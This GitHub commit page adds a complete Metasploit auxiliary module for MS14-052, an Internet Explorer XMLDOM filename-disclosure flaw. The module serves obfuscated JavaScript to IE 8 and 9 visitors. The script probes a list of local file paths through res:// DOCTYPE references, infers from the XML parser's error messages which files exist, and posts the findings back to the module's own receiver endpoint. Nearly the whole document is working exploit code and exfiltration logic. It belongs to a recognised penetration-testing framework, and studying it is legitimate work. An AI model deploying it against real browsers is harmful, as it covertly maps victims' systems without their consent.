Skip to content

Commit ee40471

Browse files
committed
Land rapid7#5014, @wchen-r7's module for MS14-052
* As auxiliary module to gather info about existent local files
2 parents 3d2f9b2 + 8ff54ff commit ee40471

File tree

1 file changed

+221
-0
lines changed

1 file changed

+221
-0
lines changed
Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/jsobfu'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpServer::HTML
12+
include Msf::Exploit::JSObfu
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure",
17+
'Description' => %q{
18+
This module will use the Microsoft XMLDOM object to enumerate a remote user's filenames.
19+
It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you
20+
must supply your own list of file paths. Each file's format should look like this:
21+
c:\\\\windows\\\\system32\\\\calc.exe
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Soroush Dalili', # @irsdl - Original discovery. MSF module is from his PoC
27+
'sinn3r'
28+
],
29+
'References' =>
30+
[
31+
[ 'CVE', '2013-7331'],
32+
[ 'MSB', 'MS14-052' ],
33+
[ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ],
34+
[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
35+
],
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
[ 'Internet Explorer 8 / Internet Explorer 9', {} ],
40+
],
41+
'DisclosureDate' => "Sep 9 2014", # MSB. Used in the wild since Feb 2014
42+
'DefaultTarget' => 0))
43+
44+
register_options(
45+
[
46+
OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ])
47+
], self.class
48+
)
49+
end
50+
51+
def js
52+
target_files = parse_target_files
53+
js_target_files = target_files * ','
54+
55+
%Q|
56+
#{js_ajax_post}
57+
58+
var RESULTS = {
59+
UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
60+
BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
61+
FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
62+
FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
63+
NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
64+
ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
65+
MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
66+
DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
67+
VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
68+
INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
69+
};
70+
71+
72+
function validateXML(txt) {
73+
var result = RESULTS.UNKNOWN;
74+
75+
if (window.ActiveXObject) {
76+
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
77+
xmlDoc.async = true;
78+
try {
79+
xmlDoc.loadXML(txt);
80+
if (xmlDoc.parseError.errorCode != 0) {
81+
var err;
82+
err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
83+
err += "Error Reason: " + xmlDoc.parseError.reason;
84+
err += "Error Line: " + xmlDoc.parseError.line;
85+
86+
var errReason = xmlDoc.parseError.reason.toLowerCase();
87+
if (errReason.search('access is denied') >= 0) {
88+
result = RESULTS.ALIVE;
89+
} else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
90+
result = RESULTS.NOTFOUND;
91+
} else if(errReason!=''){
92+
result = RESULTS.FILEFOUND;
93+
} else{
94+
result = RESULTS.UNKNOWN; // No Error? Unknown!
95+
};
96+
} else {
97+
result = RESULTS.FILEFOUND;
98+
}
99+
} catch (e) {
100+
result = RESULTS.FOLDERFOUND;
101+
}
102+
} else {
103+
result = RESULTS.BADBROWSER;
104+
}
105+
result.data = "";
106+
107+
return result;
108+
};
109+
110+
111+
function checkFiles(files) {
112+
var foundFiles = new Array();
113+
// the first one is for all drives, the others are for the C drive only!
114+
var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"];
115+
// or any other irrelevant ADS! - we do not need this when we use Res://
116+
var postMagics = ["::$index_allocation"];
117+
118+
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';
119+
120+
for (var i = 0; i < files.length; i++) {
121+
var filename = files[i];
122+
if (filename != '') {
123+
filename = preMagics[0] + filename; // postMagics can be used too!
124+
var result = validateXML(templateString.replace("$target$", filename));
125+
if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN;
126+
result.data = filename;
127+
if (result.message.search(/file was found/i) > -1) {
128+
var trimmedFilename = result.data;
129+
for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
130+
for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
131+
foundFiles.push(trimmedFilename);
132+
}
133+
}
134+
}
135+
return foundFiles;
136+
};
137+
138+
var foundFileString = "";
139+
140+
window.onload = function() {
141+
var files = [#{js_target_files}];
142+
var foundFiles = checkFiles(files);
143+
for (var file in foundFiles) {
144+
foundFileString += foundFiles[file] + "\|";
145+
}
146+
postInfo("#{get_resource}/receiver/", foundFileString, true);
147+
};
148+
|
149+
end
150+
151+
def html
152+
new_js = js_obfuscate(js)
153+
%Q|
154+
<html>
155+
<head>
156+
</head>
157+
<body>
158+
<script>
159+
#{new_js}
160+
</script>
161+
</body>
162+
</html>
163+
|
164+
end
165+
166+
def run
167+
exploit
168+
end
169+
170+
def parse_found_files(cli, req)
171+
return if req.body.blank?
172+
173+
files = req.body.split('|')
174+
unless files.empty?
175+
print_good("We have detected the following files:")
176+
files.each do |f|
177+
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
178+
print_good(f)
179+
end
180+
end
181+
end
182+
183+
def parse_target_files
184+
@files ||= lambda {
185+
files = []
186+
buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read }
187+
buf.each_line do |line|
188+
if line =~ /^[a-z]:\\\\.+/i
189+
files << "'#{line.strip}'"
190+
end
191+
end
192+
193+
return files
194+
}.call
195+
end
196+
197+
def is_target_suitable?(user_agent)
198+
info = fingerprint_user_agent(user_agent)
199+
if info[:ua_name] == HttpClients::IE && (info[:ua_ver] == '8.0' || info[:ua_ver] == '9.0')
200+
return true
201+
end
202+
203+
false
204+
end
205+
206+
def on_request_uri(cli, req)
207+
unless is_target_suitable?(req.headers['User-Agent'])
208+
send_not_found(cli)
209+
return
210+
end
211+
212+
case req.uri
213+
when /receiver/
214+
parse_found_files(cli, req)
215+
else
216+
print_status("Sending HTML.")
217+
send_response(cli, html)
218+
end
219+
end
220+
221+
end

0 commit comments

Comments
 (0)